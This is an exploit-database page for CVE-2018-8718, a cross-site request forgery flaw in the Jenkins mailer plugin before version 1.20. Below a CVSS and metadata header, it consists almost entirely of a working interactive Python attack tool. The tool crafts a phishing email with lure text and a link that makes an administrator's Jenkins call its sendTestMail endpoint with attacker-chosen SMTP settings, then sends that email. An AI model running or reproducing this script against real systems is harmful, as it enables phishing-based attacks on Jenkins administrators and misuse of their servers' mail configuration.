Jenkins Mailer Cross Site Request Forgery

2018.06.06
Credit: Kl3_GMjq6
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-352


CVSS Base Score: 6/10
Impact Subscore: 6.4/10
Exploitability Subscore: 6.8/10
Exploit range: Remote
Attack complexity: Medium
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title : Jenkins mailer plugin < 1.20 - Cross-Site Request Forgery # Date : 2018-06-05 # Exploit Author : Kl3_GMjq6 # Vendor Homepage : https://jenkins.io/ # Software Link : [https://updates.jenkins.io/download/plugins/mailer/1.20/mailer.hpi] # Version: [Below Version 1.20 (1.1 ~ 1.20) ] # Ref: https://jenkins.io/security/advisory/2018-03-26/#SECURITY-774 # Tested on : Linux , Windows # CVE : CVE-2018-8718 import email.message import smtplib import getpass payload_list = ['url','subject','cover_message','sender','reciver','test_email','smtp_server','l_id','l_pw'] table = {} for i in payload_list : table.update({i:''}) def send_mail() : msg = email.message.Message() msg['Subject'] = table['subject'] msg['From'] = table['sender'] msg['To'] = table['reciver'] msg.add_header('Content-Type','text/html') msg.set_payload('<a href="'+table['url']+'\ /descriptorByName/hudson.tasks.Mailer/sendTestMail?\ charset=UTF-8&sendTestMailTo='+table['test_email']+'&adminAddress='+table['reciver']+'\ &smtpPort=465&smtpServer='+table['smtp_server']+'&smtpAuthPasswordSecret='+table['l_pw']+'\ &useSMTPAuth=true&useSsl=true&smtpAuthUserName='+table['l_id']+'">\ '+table['cover_message']+'</a>') s = smtplib.SMTP(table['smtp_server']) s.starttls() s.login(table['l_id'], table['l_pw']) s.sendmail(msg['From'], [msg['To']], msg.as_string()) def url_set() : url = str(input("Jenkins Server's URL(ex : http://vuln.jenkins.com) : ")) if len(url) <= 0 : print (" Can't Be Null!") url_set() elif url[0:4] != "http" : print (" URL must start with 'http://' ") url_set() else : table['url'] = url def subject_set() : subject = str(input ("SUBJECT [Default : Look! Warning with your Jenkins] : ")) if len(subject) <= 0 : subject = "Look! Waning with your Jenkins" table['subject'] = subject def cover_message() : cover_message = str(input ("Cover Message [Default : Here is your Vulnable!] : ")) if len(cover_message) <= 0 : cover_message = "Here is your Vulnable!" table['cover_message'] = cover_message def sender() : sender = str(input ("Attacker E-mail(ex : attacker@abcd.com) : ")) if len(sender) <= 0 : print (" Can't Be Null!") sender() else : table['sender'] = sender def reciver() : reciver = str(input ("Admin's E-mail(ex : admin@abcd.com) : ")) if len(reciver) <= 0 : print (" Can't Be Null!") reciver() else : table['reciver'] = reciver def test_email() : test_email = str(input ("Tester E-mail(ex : tester@abcd.com) : ")) if len(test_email) <= 0 : print (" Can't Be Null!") test_email() table['test_email'] = test_email def smtp_server() : smtp_server = str(input ("SMTP_Server [Default : smtp.gmail.com] : ")) if len(smtp_server) <= 0 : smtp_server = "smtp.gmail.com" table['smtp_server'] = smtp_server def l_id() : l_id = str(input ("Your SMTP_Server ID : ")) if len(l_id) <= 0 : print (" Can't Be Null!") l_id() table['l_id'] = l_id def l_pw() : l_pw = str(getpass.getpass("Your SMTP_Server PW : ")) if len(l_pw) <= 0 : print (" Can't Be Null!") l_pw() table['l_pw'] = l_pw def set_all () : url_set() subject_set() cover_message() sender() reciver() test_email() smtp_server() l_id() l_pw() print ("Setting Complit! Use 'show' to check options") set_help = { 'all':"Set all payload", 'help':"Show set commend's help", 'url_set':"Set only 'url_set' payload", 'subject_set':"Set only 'url_set' payload", 'cover_message':"Set only 'cover_message' payload", 'sender':"Set only 'sender' payload", 'reciver':"Set only 'reciver' payload", 'test_email':"Set only 'test_email' payload", 'smtp_server':"Set only 'smtp_server' payload", 'l_id':"Set only 'l_id' payload", 'l_pw':"Set only 'l_pw' payload", } def set_select (a) : if a=="all" : set_all() elif a=="url_set" : url_set() elif a=="subject_set" : subject_set() elif a=="cover_message" : cover_message() elif a=="sender" : sender() elif a=="reciver" : reciver() elif a=="test_email" : test_email() elif a=="smtp_server" : smtp_server() elif a=="l_id" : l_id() elif a=="l_pw" : l_pw() elif a=="help" : for i in set_help : print (" -%-20s %-s" %(i,set_help[i])) print ('') while True : direct = str(input ("CVE-2018-8718 >> ")).lower() if direct == "help" : print ("""\ %-10s Show this help menu. %-10s [-all / -help / -url_set / -subject_set / .... ] %-10s Set the Payload %-10s [-all] Show Current Setting. %-10s Send CSRF use current setting. """ %("help","set","","show","send")) elif direct[0:3] == "set" : if ' -' not in direct : if direct == "set" : set_option = ["help"] else : print (" Option error \n") else : set_option = direct.split(' -')[1:] okay = 1 if len(set_option) == 1 : if set_option[0] not in set_help : print (" Option error \n") else : set_select(set_option[0]) elif len(set_option) >= 2 : for i in set_option : if i in ['help', 'all'] : print (" *Option [-help / -all] cannot be use with another options \n") okay = 0 break for i in set_option : if i not in set_help : print (" Option error \n") okay = 0 break if okay == 1 : for i in set_option : set_select(i) elif direct[:4] == "show" : if " -" not in direct : if direct == "show" : for i in table : if i != "l_pw" : print (" %-20s %s" %(i,table[i])) print (" If you want to see l_pw... add [-all] option") print ("") else : print (" Option error \n") else : show_option = direct.split(" -")[1:] if (len(show_option) == 1 and show_option[0] == 'all') : for i in table : print (" %-20s %s" %(i,table[i])) print () else : print (" Option error \n") elif direct == "send" : print (" Sending CSRF Mail.....") try : send_mail() print (" Succed!!\n") except : print (" Fail....") elif direct == "exit" : break else : print (" Usage : help\n")


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top